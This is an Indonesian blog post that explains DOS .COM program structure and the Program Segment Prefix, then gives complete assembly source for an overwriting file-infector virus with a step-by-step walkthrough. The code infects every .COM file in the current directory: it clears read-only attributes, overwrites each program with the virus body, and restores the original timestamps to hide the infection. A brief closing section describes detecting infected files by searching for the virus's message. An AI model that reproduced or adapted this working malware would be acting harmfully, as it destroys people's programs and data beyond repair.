ItsMeFurZy - Blog

Anda tentunya sudah biasa menulis program dengan bahasa assembly, yang menghasilkan program dengan ektension com. Supaya lebih mudah dimengerti maka akan diberikan satu contoh format dasar penulisan program dengan ektension com :
.Model Small
.Code
Org 100h
Label : Jmp Label2
Dataku Db ”Tempat Data Program Com”
Label2:
Mov AH,09h
Lea DX,Dataku
Int 21h
Int 20h
End Label1
Jika Anda perhatikan maka dapat Anda lihat bahwa pada program com yang normal, selalu terdapat perintah .Org 100h yang merupakan perintah agar pada saat program ini dijalankan oleh system operasi disediakan 100h (256) byte kosong. Atau dengan kata lain program com yang Kita buat akan dijalankan pada offset ke 100h atau 256. Mungkin Anda bertanya, untuk apa Kita menyediakan 100h byte kosong ini ? Ke 100h byte kosong ini Kita disiapkan untuk ditempati oleh PSP (Program Segment Prefix) yang dibuat oleh system operasi untuk mengatur jalannya program Kita ini.
Program Segment Prefix (PSP)
Program Segment Prefix atau yang sering disingkat menjadi PSP, merupakan peninggalan dari era CP/M. PSP yang terdiri atas 100h atau 256 byte ini digunakan untuk menyimpan berbagai informasi yang penting untuk program yang sedang dijalankan. Berikut adalah strukture dari ke 100h byte PSP dari program :
Offset Sebanyak Untuk
00h 2 Byte Alamat pemanggilan interupsi 20h
02h 1 Word Alamat segment dari memory yang disediakan untuk program
04h 1 Byte Cadangan
05h 5 Byte Alamat pemanggilan interupsi 21h
0Ah 2 Word Vektor Interupsi 23h
0Eh 2 Word Vektor Interupsi 23h
12h 2 Word Vektor Interupsi 24h
16h 22 Byte Cadangan
2Ch 1 Word Alamat segment environment
2Eh 46 Byte Cadangan
5Ch 16 Byte FCB1
6Ch 16 Byte FCB2
80h 1 Byte Banyaknya karakter dari baris perintah
81h 127 Byte Command Line
Pembuatan Virus 001
Virus yang pertama ini adalah virus yang akan menyerang semua program dengan ektensi .COM dimana cara kerjanya adalah mencari semua program yang ada didirektory aktif semua program dengan ektensi .COM dan menularkan virus kepadanya. Program yang telah ditulari virus tidak akan bisa berjalan secara normal karena program yang asli telah ditimpa oleh program virus. Virus ini adalah virus yang tidak residen.
; Catatan :
; Virus Overwrite yang akan merusak program yang ditumpangi. Penyebaran hanya pada
; direktory aktif saja. Program ini tidak residen dan merupakan virus yang paling sederhana.
.Model Small
.Code
Org 100h
V_Length equ last-start
Start label near ; Awal Dari Virus
mov ah,4Eh ; Cari File Com Pertama
mov dx,offset filename ; ds:dx – > Asciiz”*.com”
Int 21h
Back :
mov ah,43h ; Untuk mendapatkan Atribut File
mov al ,0 ; …… idem atas …….
mov dx,9Eh ; Awal File Com yang ditemukan
int 21h ;
mov ah,43h ; Ubah Atribut File Yang Ditemukan
mov al,01 ; …… idem Atas …….
and cx,11111110b ; Matikan Read Only
int 21h ;
mov ax,3D01h ; Buka file untuk write only
mov dx,9Eh ; Nama File Di DTA
int 21h ;
mov bx,ax ; Bx = File Handle
mov ah,57h ; Dapatkan Tanggal File
mov al,0 ; …. Idem Diatas …..
int 21h ;
push cx ; Simpan Jam
push dx ; Simpan Tanggal
mov dx,100h ; Data Awal Virus
mov cx,v_length ; Panjang Virus
mov ah,40h ; Tulis Virus Ke File
int 21h ;
pop dx ; Ambil Data tanggal
pop cx ; Ambil Data Jam
mov ah,57h ; Set jam dan
mov al,01h ; Tanggal File
int 21h ;
mov ah,3Eh ; Tutup File Tersebut
int 21h ; ………..
mov ah,4Fh ; Cari File Selanjutnya
int 21h ;
jnc Back ; Jika Ditemukan, Lompat
mov ah,9h ; Tulis Pesan
mov dx,offset Data ; Data Ke Layar
int 21h ;
Done: int 20h ; Terminate Program
Filename db “*.com”,0
Data db ” File Pada Direktory ini Telah Terserang Virus Semuanya$”
Last label near
end start
Cara Kerja Virus :
.Model Small
.Code
Org 100h
V_Length equ last-start
Start label near ; Awal Dari Virus
Pada awal program, variable V_Length akan menghitung panjang, atau besarnya program virus komputer ini. Dengan mengetahui besarnya program virus yang dibuat, maka Kita bisa mengcopy program virus ini kedalam program yang lain.
mov ah,4Eh ; Cari File Com Pertama
mov dx,offset filename ; ds:dx – > Asciiz”*.com”
Int 21h
Pertama-tama, carilah program target yang akan ditulari dengan fungsi dos, dimana register dx menunjukkan file yang akan dicari. pencarian ini hanya akan mencari program “*.com” yang ada didirektory aktif saja, artinya program “*.com” yang terdapat pada direktory lain tidak akan tertular.
Back :
mov ah,43h ; Untuk mendapatkan Atribut File
mov al ,0 ; …… idem atas …….
mov dx,9Eh ; Awal File Com yang ditemukan
int 21h ;
mov ah,43h ; Ubah Atribut File Yang Ditemukan
mov al,01 ; …… idem Atas …….
and cx,11111110b ; Matikan Read Only
int 21h
Setelah mendapatkan file yang dicari, bacalah atribut dari file tersebut, untuk mencegah Kita terprotek dalam penulisan file yang mempunyai atribut read-only. Selanjutnya dengan logika ”and”, Kita akan mematikan atribut read-only dari file yang ditemukan sehingga Kita bisa melakukan penulisan pada file tersebut.
mov ax,3D01h ; Buka file untuk write only
mov dx,9Eh ; Nama File Di DTA
int 21h ;
mov bx,ax ; Bx = File Handle
mov ah,57h ; Dapatkan Tanggal File
mov al,0 ; …. Idem Diatas …..
int 21h ;
push cx ; Simpan Jam
push dx ; Simpan Tanggal
Setelah atribut read-only dimatikan, bukalah file tersebut untuk tujuan penulisan virus kedalamnya atau untuk penularannya. Setelah file tersebut dibuka, simpalah handle atau kode file tersebut ke dalam register bx. Selanjutnya, carilah tanggal dan jam dari file yang telah dibuka, kemudian simpanlah hasilnya.
mov dx,100h ; Data Awal Virus
mov cx,v_length ; Panjang Virus
mov ah,40h ; Tulis Virus Ke File
int 21h ;
pop dx ; Ambil Data tanggal
pop cx ; Ambil Data Jam
mov ah,57h ; Set jam dan
mov al,01h ; Tanggal File
int 21h ;
mov ah,3Eh ; Tutup File Tersebut
int 21h ; ………..
Program dengan ekstension com selalu dimulai pada offset ke 100h (256 Byte) yang disediakan untuk PSP. Maka karena program virus Kita yang pertama juga dengan ekstension com, maka untuk mengcopykan virus ke file yang lain, Kita akan mencopykan data mulai offset ke 100 sebanyak besar virus yang telah ditemukan.
Setelah itu, aturlah jam dan tanggal dari jam dan tanggal yang telah Kita dapatkan sebelumnya. Kemudian aturlah supaya jam dan tanggal dari program atau file yang telah ditulari virus tidak berubah. Akhirnya, selesailah tugas penyebaran dan tutuplah file tersebut.
mov ah,4Fh ; Cari File Selanjutnya
int 21h ;
jnc Back ; Jika Ditemukan, Lompat
Setelah file pertama ditulari, carilah file selanjutnya dengan ekstension yang sama. Jika ditemukan, maka tularilah file tersebut dengan cara yang sama seperti yang telah dijelaskan sebelumnya.
mov ah,9h ; Tulis Pesan
mov dx,offset Data ; Data Ke Layar
int 21h ;
Done: int 20h ; Terminate Program
Filename db “*.com”,0
Data db ” File Pada Direktory ini Telah Terserang Virus Semuanya$”
Last label near
end start
Setelah semua file yang terdapat pada direktory aktif tertular, tampilkanlah pesan kelayar komputer ”File Pada Direktory ini Telah Terserang Virus Semuanya”.
Mencegah Dan membasmi Virus 001
Dari Virus 001 Dapat Anda lihat, bahwa virus ini adalah sebuah virus perusak. program yang telah ditulari tidak akan dapat diobati lagi. Jadi untuk membasmi virus ini tidak ada jalan lain kecuali dengan menghapus program Com yang telah ditulari virus. Anda bisa mengecek program tersebut ditularilari virus ini atau tidak dengan mengecek kata ” File Pada Direktory ini Telah Terserang Virus Semuanya”. Bila pada file Anda terdapat kata ini, maka Anda bisa menghapusnya. Untuk mencari kata ini Anda bisa menggunakan cara yang paling mudah, yaitu dengan perintah ”Type” dari dos. Selain itu Anda juga dapat menggunakan perintah ”Find” dari dos untuk mencari kata-kata tersebut.
Dari contoh virus yang pertama ini, dapat Anda lihat bahwa dengan mengerti cara kerja dari sebuah virus, Anda bahkan dapat membasminya tanpa programming sama sekali. Dengan memanfaatkan program umum, seperti program find.exe yang disertakan pada saat instalasi dos Anda dapat menjadikannya alat untuk mendeteksi dan membasmi virus.

Source = http://exnome.wordpress.com/2007/01/20/membuat-virus-program-com/